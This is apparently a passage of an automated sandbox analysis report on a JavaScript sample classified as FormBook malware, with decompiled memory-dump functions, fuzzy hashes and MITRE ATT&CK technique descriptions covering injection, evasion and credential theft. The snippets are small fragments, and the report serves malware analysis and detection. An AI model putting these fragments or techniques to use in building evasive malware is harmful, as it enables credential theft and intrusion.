0x008da16e
0x008da16e
0x008da16e

APIs

LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 008DA1B2

Memory Dump Source

Source File: 00000017.00000002.891623399.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000017.00000002.891611384.00000000008D0000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_8d0000_oxx7nkdv4g8.jbxd

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 14d9637ae75740dab2169e9387d270c154b89039a09ccd4394a8d994bcbcbc66
Instruction ID: 80e05266aa2a305dd4adad4eb673c3d350793d2cdfb29b789d1d26773b46033c
Opcode Fuzzy Hash: 14d9637ae75740dab2169e9387d270c154b89039a09ccd4394a8d994bcbcbc66
Instruction Fuzzy Hash: 92015EB6E0020DBBDF10DAA5DC42F9EB778EB14308F1042A5E919D7241F631EB088B92

Uniqueness

Uniqueness Score: -1.00%

Function 008EA663 Relevance: 1.5, APIs: 1, Instructions: 30
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 21%

			E008EA663(intOrPtr _a4, int _a8) {

				asm("popad");
				asm("lds ebx, [edx+eax*8+0x75131443]");
				_pop(ds);
				asm("loop 0xffffffc4");
				asm("in eax, dx");
				_t5 = _a4;
				E008EAF70( *((intOrPtr*)(_a4 + 0xa18)), _t5, _t5 + 0xc98,  *((intOrPtr*)(_a4 + 0xa18)), 0, 0x36);
				ExitProcess(_a8);
			}

0x008ea663
0x008ea664
0x008ea66b
0x008ea66c
0x008ea66f
0x008ea673
0x008ea68a
0x008ea698

APIs

RtlFreeHeap.NTDLL(00000060,008D9113,?,?,008D9113,00000060,00000000,00000000,?,?,008D9113,?,00000000), ref: 008EA65D

Memory Dump Source

Source File: 00000017.00000002.891623399.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000017.00000002.891611384.00000000008D0000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_8d0000_oxx7nkdv4g8.jbxd

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 51823a8af5eb9c0a5067f04d673b5a87a974213d63ec2c9c88e4c7888d6c6608
Instruction ID: 072b1fdf34bf0c177cc79b9a81848d02ce4acd8d86336344ec531e914785f669
Opcode Fuzzy Hash: 51823a8af5eb9c0a5067f04d673b5a87a974213d63ec2c9c88e4c7888d6c6608
Instruction Fuzzy Hash: C8F0E571100214ABCB14DF49CC48EE733ACFF85710F214014F90897211C630F814C6F1

Uniqueness

Uniqueness Score: -1.00%

Function 008EA5F0 Relevance: 1.5, APIs: 1, Instructions: 24
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E008EA5F0(intOrPtr _a4, void* _a8, long _a12, long _a16) {
				void* _t10;

				E008EAF70( *((intOrPtr*)(_a4 + 0x14)), _a4, _t7 + 0xc8c,  *((intOrPtr*)(_a4 + 0x14)), 0, 0x34);
				_t10 = RtlAllocateHeap(_a8, _a12, _a16); // executed
				return _t10;
			}

0x008ea607
0x008ea61d
0x008ea621

APIs

RtlAllocateHeap.NTDLL(008E5186,?,008E58FF,008E58FF,?,008E5186,?,?,?,?,?,00000000,008D9113,?), ref: 008EA61D

Memory Dump Source

Source File: 00000017.00000002.891623399.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000017.00000002.891611384.00000000008D0000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_8d0000_oxx7nkdv4g8.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 8082421df8bc89d162f2638fa4c1385792dc10d17e44cb2d46fb0fb817fbd62f
Instruction ID: 8ff78cb16f85796d9d31c05da19d673d7c01b09b82de22bf7a2a1bdbd835b4ce
Opcode Fuzzy Hash: 8082421df8bc89d162f2638fa4c1385792dc10d17e44cb2d46fb0fb817fbd62f
Instruction Fuzzy Hash: 89E04FB12002046BDB14DF49DC45E9737ACEF88754F018154FE085B241C930F910CBF1

Uniqueness

Uniqueness Score: -1.00%

Function 008EA630 Relevance: 1.5, APIs: 1, Instructions: 24
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E008EA630(intOrPtr _a4, void* _a8, long _a12, void* _a16) {
				char _t10;

				_t3 = _a4 + 0xc90; // 0xc90
				E008EAF70( *((intOrPtr*)(_a4 + 0x14)), _t7, _t3,  *((intOrPtr*)(_a4 + 0x14)), 0, 0x35);
				_t10 = RtlFreeHeap(_a8, _a12, _a16); // executed
				return _t10;
			}

0x008ea63f
0x008ea647
0x008ea65d
0x008ea661

APIs

RtlFreeHeap.NTDLL(00000060,008D9113,?,?,008D9113,00000060,00000000,00000000,?,?,008D9113,?,00000000), ref: 008EA65D

Memory Dump Source

Source File: 00000017.00000002.891623399.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000017.00000002.891611384.00000000008D0000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_8d0000_oxx7nkdv4g8.jbxd

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: a6e6f41d857b18798f6d11579541f16a6a166f54801e0754a839ad98261f1417
Instruction ID: 37cb5c0d594bd822d2f00c0b7f85250637b68af8ed82585295a2b251f1da5288
Opcode Fuzzy Hash: a6e6f41d857b18798f6d11579541f16a6a166f54801e0754a839ad98261f1417
Instruction Fuzzy Hash: 46E04FB12002046FD714DF49DC49EA737ACEF88750F114154FD0857251C530F910CAF1

Uniqueness

Uniqueness Score: -1.00%

Function 008EA790 Relevance: 1.5, APIs: 1, Instructions: 24
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E008EA790(intOrPtr _a4, WCHAR* _a8, WCHAR* _a12, struct _LUID* _a16) {
				int _t10;

				E008EAF70( *((intOrPtr*)(_a4 + 0xa1c)), _a4, _t7 + 0xca8,  *((intOrPtr*)(_a4 + 0xa1c)), 0, 0x46);
				_t10 = LookupPrivilegeValueW(_a8, _a12, _a16); // executed
				return _t10;
			}

0x008ea7aa
0x008ea7c0
0x008ea7c4

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,00000041,008DD5C2,008DD5C2,00000041,00000000,?,008D9185), ref: 008EA7C0

Memory Dump Source

Source File: 00000017.00000002.891623399.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000017.00000002.891611384.00000000008D0000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_8d0000_oxx7nkdv4g8.jbxd

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: b6c9d2bb7c1b66bb05113664278c8ba5e33a8a1c89f8aae2c7e428828915c1da
Instruction ID: c0282d069e608d0183a23946233fa00c891941f88f498ce4b1296e4be5f13c84
Opcode Fuzzy Hash: b6c9d2bb7c1b66bb05113664278c8ba5e33a8a1c89f8aae2c7e428828915c1da
Instruction Fuzzy Hash: D3E01AB12002086BDB14DF49CC45EE737ADEF89654F018154BE0857241C930F8148AB2

Uniqueness

Uniqueness Score: -1.00%

Function 008EA670 Relevance: 1.5, APIs: 1, Instructions: 20
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E008EA670(intOrPtr _a4, int _a8) {

				_t5 = _a4;
				E008EAF70( *((intOrPtr*)(_a4 + 0xa18)), _t5, _t5 + 0xc98,  *((intOrPtr*)(_a4 + 0xa18)), 0, 0x36);
				ExitProcess(_a8);
			}

0x008ea673
0x008ea68a
0x008ea698

APIs

ExitProcess.KERNEL32(?,?,00000000,?,?,?), ref: 008EA698

Memory Dump Source

Source File: 00000017.00000002.891623399.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000017.00000002.891611384.00000000008D0000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_8d0000_oxx7nkdv4g8.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 1cfc6acf09b4d581fed35e39f5b9fca2d0b24bba4d46bbacac3375e597e63901
Instruction ID: a0fe3748165eed26a2022f66e1569bbaef36dcb5e2f5c3948422b70dd3fd4ea7
Opcode Fuzzy Hash: 1cfc6acf09b4d581fed35e39f5b9fca2d0b24bba4d46bbacac3375e597e63901
Instruction Fuzzy Hash: 9CD012716102147BD624DB99CC45FD777ACDF45790F014065BA0C5B241C930BA0087E1

Uniqueness

Uniqueness Score: -1.00%

Function 0109967A Relevance: 1.5, APIs: 1, Instructions: 8
libraryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 01099694

Memory Dump Source

Source File: 00000017.00000002.891799619.0000000001030000.00000040.00000800.00020000.00000000.sdmp, Offset: 01030000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_1030000_oxx7nkdv4g8.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: e7b59a91347aac1e959d12d62319506f0aa6c9d21a2978405c1d238e8a70ea93
Instruction ID: e916c4108128a425b09e695ce5a11a669f60918a7e7d4ec91e60baf5fed0dd51
Opcode Fuzzy Hash: e7b59a91347aac1e959d12d62319506f0aa6c9d21a2978405c1d238e8a70ea93
Instruction Fuzzy Hash: A4B09B719014C5D5DB51D7E546087177A4077D4745F56C055D1420681B8778C091F6F5

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 010540FD Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 195
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E010540FD(void* __ecx) {
				signed int _v8;
				char _v548;
				unsigned int _v552;
				unsigned int _v556;
				unsigned int _v560;
				char _v564;
				char _v568;
				void* __ebx;
				void* __edi;
				void* __esi;
				unsigned int _t49;
				signed char _t53;
				unsigned int _t55;
				unsigned int _t56;
				unsigned int _t65;
				unsigned int _t66;
				void* _t68;
				unsigned int _t73;
				unsigned int _t77;
				unsigned int _t85;
				char* _t98;
				unsigned int _t102;
				signed int _t103;
				void* _t105;
				signed int _t107;
				void* _t108;
				void* _t110;
				void* _t111;
				void* _t112;

				_t45 =  *0x114d360 ^ _t107;
				_v8 =  *0x114d360 ^ _t107;
				_t105 = __ecx;
				if( *0x11484d4 == 0) {
					L5:
					return E0109B640(_t45, _t85, _v8 ^ _t107, _t102, _t105, _t106);
				}
				_t85 = 0;
				E0106E9C0(3,  *((intOrPtr*)(__ecx + 0x18)), 0, 0,  &_v564);
				if(( *0x7ffe02d5 & 0x00000003) == 0) {
					_t45 = 0;
				} else {
					_t45 =  *(_v564 + 0x5f) & 0x00000001;
				}
				if(_t45 == 0) {
					_v552 = _t85;
					_t49 = E010542EB(_t105);
					__eflags = _t49;
					if(_t49 != 0) {
						L15:
						_t103 = 2;
						_v552 = _t103;
						L10:
						__eflags = ( *0x7ffe02d5 & 0x0000000c) - 4;
						if(( *0x7ffe02d5 & 0x0000000c) == 4) {
							_t45 = 1;
						} else {
							_t53 = E010541EA(_v564);
							asm("sbb al, al");
							_t45 =  ~_t53 + 1;
							__eflags = _t45;
						}
						__eflags = _t45;
						if(_t45 == 0) {
							_t102 = _t103 | 0x00000040;
							_v552 = _t102;
						}
						__eflags = _t102;
						if(_t102 != 0) {
							L33:
							_push(4);
							_push( &_v552);
							_push(0x22);
							_push(0xffffffff);
							_t45 = E010996C0();
						}
						goto L4;
					}
					_v556 = _t85;
					_t102 =  &_v556;
					_t55 = E0105429E(_t105 + 0x2c, _t102);
					__eflags = _t55;
					if(_t55 >= 0) {
						__eflags = _v556 - _t85;
						if(_v556 == _t85) {
							goto L8;
						}
						_t85 = _t105 + 0x24;
						E010E5720(0x55, 3, "CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions\n", _v556);
						_v560 = 0x214;
						E0109FA60( &_v548, 0, 0x214);
						_t106 =  *0x11484d4;
						_t110 = _t108 + 0x20;
						 *0x114b1e0( *((intOrPtr*)(_t105 + 0x28)),  *((intOrPtr*)(_t105 + 0x18)),  *((intOrPtr*)(_t105 + 0x20)), L"ExecuteOptions",  &_v568,  &_v548,  &_v560, _t85);
						_t65 =  *((intOrPtr*)( *0x11484d4))();
						__eflags = _t65;
						if(_t65 == 0) {
							goto L8;
						}
						_t66 = _v560;
						__eflags = _t66;
						if(_t66 == 0) {
							goto L8;
						}
						__eflags = _t66 - 0x214;
						if(_t66 >= 0x214) {
							goto L8;
						}
						_t68 = (_t66 >> 1) * 2 - 2;
						__eflags = _t68 - 0x214;
						if(_t68 >= 0x214) {
							E0109B75A();
							goto L33;
						}
						_push(_t85);
						 *((short*)(_t107 + _t68 - 0x220)) = 0;
						E010E5720(0x55, 3, "CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database\n",  &_v548);
						_t111 = _t110 + 0x14;
						_t73 = E010A1480( &_v548, L"Execute=1");
						_push(_t85);
						__eflags = _t73;
						if(_t73 == 0) {
							E010E5720(0x55, 3, "CLIENT(ntdll): Processing %ws for patching section protection for %wZ\n",  &_v548);
							_t106 =  &_v548;
							_t98 =  &_v548;
							_t112 = _t111 + 0x14;
							_t77 = _v560 + _t98;
							_v556 = _t77;
							__eflags = _t98 - _t77;
							if(_t98 >= _t77) {
								goto L8;
							} else {
								goto L27;
							}
							do {
								L27:
								_t85 = E010A1150(_t106, 0x20);
								__eflags = _t85;
								if(__eflags != 0) {
									__eflags = 0;
									 *_t85 = 0;
								}
								E010E5720(0x55, 3, "CLIENT(ntdll): Processing section info %ws...\n", _t106);
								_t112 = _t112 + 0x10;
								E010D3E13(_t105, _t106, __eflags);
								__eflags = _t85;
								if(_t85 == 0) {
									goto L8;
								}
								_t41 = _t85 + 2; // 0x2
								_t106 = _t41;
								__eflags = _t106 - _v556;
							} while (_t106 < _v556);
							goto L8;
						}
						_push("CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ\n");
						_push(3);
						_push(0x55);
						E010E5720();
						goto L15;
					}
					L8:
					_t56 = E010541F7(_t105);
					__eflags = _t56;
					if(_t56 != 0) {
						goto L15;
					}
					_t103 = _v552;
					goto L10;
				} else {
					L4:
					 *(_t105 + 0x34) =  *(_t105 + 0x34) | 0x80000000;
					goto L5;
				}
			}

0x0105410d
0x0105410f
0x0105411c
0x0105411e
0x01054158
0x01054168
0x01054168
0x01054126
0x01054130
0x0105413c
0x010b04a2
0x01054142
0x0105414b
0x0105414b
0x0105414f
0x0105416b
0x01054171
0x01054176
0x01054178
0x010541d0
0x010541d2
0x010541d3
0x010541a7
0x010541ae
0x010541b0
0x010541db
0x010541b2
0x010541b8
0x010541bf
0x010541c1
0x010541c1
0x010541c1
0x010541c3
0x010541c5
0x010541df
0x010541e2
0x010541e2
0x010541c7
0x010541c9
0x010b0628
0x010b0628
0x010b0630
0x010b0631
0x010b0633
0x010b0635
0x010b0635
0x00000000
0x010541c9
0x0105417d
0x01054183
0x01054189
0x0105418e
0x01054190
0x010b04a9
0x010b04af
0x00000000
0x00000000
0x010b04b5
0x010b04c8
0x010b04d5
0x010b04e5
0x010b04ea
0x010b04f6
0x010b0518
0x010b051e
0x010b0520
0x010b0522
0x00000000
0x00000000
0x010b0528
0x010b052e
0x010b0530
0x00000000
0x00000000
0x010b053b
0x010b053d
0x00000000
0x00000000
0x010b0545
0x010b054c
0x010b054e
0x010b0623
0x00000000
0x010b0623
0x010b0556
0x010b0557
0x010b056f
0x010b0574
0x010b0583
0x010b058a
0x010b058b
0x010b058d
0x010b05b5
0x010b05c0
0x010b05c6
0x010b05c8
0x010b05cb
0x010b05cd
0x010b05d3
0x010b05d5
0x00000000
0x00000000
0x00000000
0x00000000
0x010b05db
0x010b05db
0x010b05e3
0x010b05e7
0x010b05e9
0x010b05eb
0x010b05ed
0x010b05ed
0x010b05fa
0x010b05ff
0x010b0606
0x010b060b
0x010b060d
0x00000000
0x00000000
0x010b0613
0x010b0613
0x010b0616
0x010b0616
0x00000000
0x010b061e
0x010b058f
0x010b0594
0x010b0596
0x010b0598
0x00000000
0x010b059d
0x01054196
0x01054198
0x0105419d
0x0105419f
0x00000000
0x00000000
0x010541a1
0x00000000
0x01054151
0x01054151
0x01054151
0x00000000
0x01054151

Strings

CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions, xrefs: 010B04BF
CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ, xrefs: 010B058F
ExecuteOptions, xrefs: 010B050A
CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database, xrefs: 010B0566
CLIENT(ntdll): Processing %ws for patching section protection for %wZ, xrefs: 010B05AC
CLIENT(ntdll): Processing section info %ws..., xrefs: 010B05F1
Execute=1, xrefs: 010B057D

Memory Dump Source

Source File: 00000017.00000002.891799619.0000000001030000.00000040.00000800.00020000.00000000.sdmp, Offset: 01030000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_1030000_oxx7nkdv4g8.jbxd

Similarity

API ID:
String ID: CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions$CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ$CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database$CLIENT(ntdll): Processing %ws for patching section protection for %wZ$CLIENT(ntdll): Processing section info %ws...$Execute=1$ExecuteOptions
API String ID: 0-484625025
Opcode ID: de6d94f96f34d2aadb744226b2f08a5308cf8c23afd2691ddb4a02b46c4c1892
Instruction ID: 7c23a9af5aa6cd2a69a570ee494af8715d908045a936cf62d5104f07aa1ddfa3
Opcode Fuzzy Hash: de6d94f96f34d2aadb744226b2f08a5308cf8c23afd2691ddb4a02b46c4c1892
Instruction Fuzzy Hash: 0B615D757402197AEF60DA95EC95FEB77BCBF68700F0400D9E985E7180FB709A808B64

Uniqueness

Uniqueness Score: -1.00%

Function 010EFDDA Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E010EFDDA(intOrPtr* __edx, intOrPtr _a4) {
				void* _t7;
				intOrPtr _t9;
				intOrPtr _t10;
				intOrPtr* _t12;
				intOrPtr* _t13;
				intOrPtr _t14;
				intOrPtr* _t15;

				_t13 = __edx;
				_push(_a4);
				_t14 =  *[fs:0x18];
				_t15 = _t12;
				_t7 = E0109CE00( *__edx,  *((intOrPtr*)(__edx + 4)), 0xff676980, 0xffffffff);
				_push(_t13);
				E010E5720(0x65, 1, "RTL: Enter CriticalSection Timeout (%I64u secs) %d\n", _t7);
				_t9 =  *_t15;
				if(_t9 == 0xffffffff) {
					_t10 = 0;
				} else {
					_t10 =  *((intOrPtr*)(_t9 + 0x14));
				}
				_push(_t10);
				_push(_t15);
				_push( *((intOrPtr*)(_t15 + 0xc)));
				_push( *((intOrPtr*)(_t14 + 0x24)));
				return E010E5720(0x65, 0, "RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u\n",  *((intOrPtr*)(_t14 + 0x20)));
			}

0x010efdda
0x010efde2
0x010efde5
0x010efdec
0x010efdfa
0x010efdff
0x010efe0a
0x010efe0f
0x010efe17
0x010efe1e
0x010efe19
0x010efe19
0x010efe19
0x010efe20
0x010efe21
0x010efe22
0x010efe25
0x010efe40

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 010EFDFA

Strings

RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 010EFE2B
RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 010EFE01

Memory Dump Source

Source File: 00000017.00000002.891799619.0000000001030000.00000040.00000800.00020000.00000000.sdmp, Offset: 01030000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_1030000_oxx7nkdv4g8.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u
API String ID: 885266447-3903918235
Opcode ID: 28695da2e791578d6929f8c86363c5c13691b093ae02a62cc1f2702e5c9797ff
Instruction ID: 5f6342129ae9bd37123a1a5dfd511321daad1073cd88da7315abe03ef40c334b
Opcode Fuzzy Hash: 28695da2e791578d6929f8c86363c5c13691b093ae02a62cc1f2702e5c9797ff
Instruction Fuzzy Hash: 3FF0FC76640102BFE6201A46DC05F637F9AEB44730F140314F694561E1D962F83096F4

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like `CreateProcess` , `LoadLibrary` , etc. of the Win32 API.
Tactics:	Execution
Data Sources:	API monitoring, DLL monitoring, File monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report CIQ-PO16266.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: FormBook

Yara Signatures

